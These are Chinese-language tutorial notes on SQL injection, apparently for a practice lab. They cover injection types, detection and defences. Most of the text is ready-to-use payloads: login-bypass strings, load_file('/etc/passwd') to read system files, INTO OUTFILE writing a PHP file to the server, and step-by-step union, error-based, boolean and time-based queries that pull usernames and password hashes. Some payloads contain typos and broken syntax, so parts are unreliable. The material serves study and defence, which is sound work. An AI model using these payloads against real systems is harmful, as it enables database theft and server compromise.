万能密码:
a' || 1 ' or 1=1 admin’ or ‘1’=’1 admin’ #
1 注入
1.1前言
1.1.1 概念
一种将SQL语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的SQL服务器加以解析并执行
1.1.2 原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下
两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。(intval)
常见脚本语言和数据库类型:
Asp + ACCESS
Aspx + MSSQL
PHP + MYSQL
Jsp + oracle
1.2 注入分类
1.按数据类型分:
(1)整形注入(不需要闭合,不需要注释符号)
(2)字符型注入(需要闭合,需要注释符号)
2.按注入语法分:
(1)联合查询
(2)报错注入
(3)布尔型注入
(4)延时注入
(5)宽字节注入
(6)base64注入传参的是用base编码之后再传参
1.3 注入危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
1.4 注入方法
注入判断:
and 1=1 /and1=2 —————— 回显页面不同(整型判断)
单引号判断 ——————显示数据库错误信息或页面回显不同(整型/字符型)
\ (转义符)————————————
-1/+1 ——————————————回显上有一个或下一个页面(整型判断)
and sleep(5) ———————————— (判断页面返回时间)
常用注释
# ————————(url编码为%23)
--+ ————————(一般--后面要跟一个或多个空格)
/* ...*/ ——————
/*! ...*/ ——————内联注释
常用函数:
user()、database()、 @@version、session_user()、@@basedir
@@datadir、@@version_compile_os
Load_FILE函数(读文件操作)
利用前提:
(1)知道绝对路径 (2)能使用union查询 (3)对web目录有读写权限
union select 1,load_file(‘/etc/passwd’),3,4,5,6,# UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
Into outfile() (写文件操作)
利用前提:
(1)文件名为绝对路径 (2)没对引号过滤 (3)用户对文件有写权限
select ‘<?php phpinfo();?>’ into outfile ‘c:\\Windows\\tmp\\1.php'’
连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2...)
group_concat(str1,str2......)
MySQL中information_scheme库
SCHEMATA表 字段:SCHEMA_NAME
TABLES表 字段:TABLE_SCHEMA,TABLE_NAME
COLUMNS表 字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
1.4.1 联合查询注入(需要显示位)
暴显示位
1、union select 1,2,3,4,5,6,7,8 order by 8 2、id=-1 3、and 1=2 联合注入:暴库 union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4 联合注入:暴表 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='baji'),2,3 联合注入:暴字段 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库' and table_name='表名'),2,3 联合注入:暴数据 union select 1,(select group_concat(concat_ws(0x23,username,password)) from 数据库.表名),3,4
1.4.2 报错注入
特点:
·不需要显示位;需要输出mysqli_error()的报错信息
第一步:暴库名 and extractvalue(1,concat(0x7e,database(),0x7e)) 第二步:暴表名 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='baji' limit 0,1) ,0x7e)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='baji') ,0x7e)) 第三步:暴字段 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='baji' and table_name='users') ,0x7e)) 第四步:暴数据 and extractvalue(1,concat(0x7e,(select username from baji.users limit 1,1) ,0x7e)) and extractvalue(1,concat(0x7e,(select password from baji.users limit 1,1) ,0x7e))
1.4.3 布尔型注入
第一种:
1、判断长度:判断数据库名的长度 length(database())>0 ….确定长度为4 2、确定数据库:逐个取字符与ascii值对比 and ascii(substr(database(),1,1))=98 ….确定为baji 3、确定表名: #表数量: and (select count(table_name) from information_schema.tables where table_schema=’baji’) > 0 ….确定两个表 #表名的长度: and length(select table_name from information_schema.tables where table_schema=’baji’ limit 0,1)>4 ….得到表名长度4 #表名 and ascii(substr(select table_name from information_schema.tables where table_schema =’baji’ limit 0,1),2,1) > 79 ….确定字母e,表名test 4、确定列名: #确定列的数量: and (select count(column_name) from information_schema.columns where table_schema=’baji’ and table_name=’users’)>0 ….确定列数量为8列 #确定列的长度: and length(select column_name from information_schema.columns where table_schema=’baji’ and table_name=’users’ limit 0,1)>0 .第一个列名长度为2 #确定列名: and ascii(substr(select column_name from information_schema.columns where table_schema=’baji’ and table_name=’users’ limit 0,1),1,1)>79 …第一列名第一字符 5、导出数据: and ascii(substr(select username from users limit 0,1),1,1)>79 ..确定字符为a
第二种:
判断: and 2<1 and 2<11 第一步:先判断数据库长度 and length (database ()) >= 长度 --+ 第二步:判断数据库名字 and substr(database(),1,1)='b'--+ 截取database()的值,从第一个字符开始,每次只返回一个 第三步:判断表的数量 and (select count(table_name) from information_schema.tables where table_schema='baji') >0 第三步:判断表的长度 and length((select table_name from information_schema.tables where table_schema='baji' limit 0,1)) = 5 第三步:判断表名 and substr((select table_name from information_schema.tables where table_schema='baji' limit 0,1),2,1)='u'--+ 第四步:判断字段数量 and (select count(column_name) from information_schema.columns where table_schema='baji' and table_name = 'users') >0 第四步:判断字段长度 and length((select column_name from information_schema.columns where table_schema='baji' and table_name = 'users' limit 0,1)) >0 第四步:判断字段名 and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i' --+ 第五步:判断数据内容 and substr((select username from users limit 0,1),1,5)='admin'--+ and substr((select password from users limit 0,1),1,32)='5d0af96d7df01ecefb6087fd40160636'--+
1.4.4 延时注入
第一种:
1、确定数据库 # 判断数据库长度 and if((length(database())>10),sleep(5),3) ….确定长度为4 #获取字符 and if((ascii(substr(database(),1,1)))>79,sleep(5),1) 确定第一个字符 and if((ascii(substr(database(),2,1)))>79,sleep(5),1) 确定第二个字符 2、确定表名 #获取表的数量 and if((select count(table_name) from information_schema.tables where table_schema=’baji’)>0,sleep(5),1) #获取第一个表名的长度 and if(length(select table_name from information_schema.tables where table_schema=’baji’ limit 0,1)>4, sleep(5),1) ….得到表名长度4 #获取表名(第一个表名的第一个字符) and if(ascii(substr(select table_name from information_schema.tables where table_schema =’baji’ limit 0,1),1,1) > 79, sleep(5),1) 3、确定列名 #获取列名数量 and if((select count(column_name) from information_schema.clomus where table_schema=’baji’ and table_name=’users’)>0, sleep(5),1) #获取列名长度(第一个列名) and if(length(select column_name from information_schema.clomus where table_schema=’baji’ and table_name=’users’ limit 0,1)>0, sleep(5),1) #获取列名(第一个列名的第一个字符) and if(ascii(substr(select column_name from information_schema.clomus where table_schema=’baji’ and table_name=’users’ limit 0,1),1,1)>0, sleep(5),1) 4、获取数据 and if(ascii(substr(select username from users limit 0,1),1,1)>79, sleep(5),1)
第二种:
第一步:先判断数据库长度 and if(length(database())=4,sleep(5),1) 长度 --+ 第二步:判断数据库名字 and if(substr(database(),3,1)='j',sleep(2),1)--+ 截取database()的值,从第一个字符开始,每次只返回一个 第三步:判断表的数量 and if((select count(table_name) from information_schema.tables where table_schema='baji') =1,sleep(3),1) 第三步:判断表的长度 and if(length((select table_name from information_schema.tables where table_schema='baji' limit 0,1)) = 5,sleep(3),1) 第三步:判断表名 and if(substr((select table_name from information_schema.tables where table_schema='baji' limit 0,1),1,1)='u',sleep(3),1)--+ 第四步:判断字段名 and if(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u',sleep(3),1) --+ 第四步:判断字段长度 and if(length((select column_name from information_schema.columns where table_schema='baji' and table_name = 'users' limit 0,1)) >0,sleep(5),1) 第四步:判断字段名 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',sleep(5),1) --+ 第五步:判断数据内容 and if(substr((select username from users limit 0,1),1,5)='admin',sleep(3),1)--+ and if(substr((select password from users limit 0,1),1,32)='5d0af96d7df01ecefb6087fd40160636',sleep(3),1)--+
1.4.5 宽字节注入
注入条件:
·注入类型为字符型
·数据库编码为gbk
·可控参数使用addslashes函数
·使用gbk汉字编码(%df不限字符)绕过注释
' -----------------------> \'
%27-----------------------> \%5c%27
%df'-----------------------> %df%5c%27
具体方法同布尔型。
1.5 注入防御
1.对进入数据库的特殊字符(单引号,双引号,尖括号等)进行转换或编码转换。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装